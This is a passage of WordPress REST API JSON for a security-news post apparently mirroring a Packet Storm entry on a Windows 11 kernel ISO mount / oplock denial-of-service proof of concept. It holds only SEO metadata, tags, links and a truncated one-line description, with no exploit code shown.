#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-18T16:09:22&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64236","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64236\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-18T16:09:22&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64236\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-19T08:37:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"40 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \\\/ Oplock Deserialization Denial of Service_PACKETSTORM:223817\",\"datePublished\":\"2026-06-19T08:37:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236\"},\"wordCount\":7925,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64236#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236\",\"name\":\"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \\\/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-19T08:37:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64236\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64236#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \\\/ Oplock Deserialization Denial of Service_PACKETSTORM:223817\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64236","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-18T16:09:22&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO...","og_url":"https:\/\/zero.redgem.net\/?p=64236","og_site_name":"zero redgem","article_published_time":"2026-06-19T08:37:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"40 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64236#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64236"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817","datePublished":"2026-06-19T08:37:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64236"},"wordCount":7925,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64236#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64236","url":"https:\/\/zero.redgem.net\/?p=64236","name":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-19T08:37:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64236#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64236"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64236#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service_PACKETSTORM:223817"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64236","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64236"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64236\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64236"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64236"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64236"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}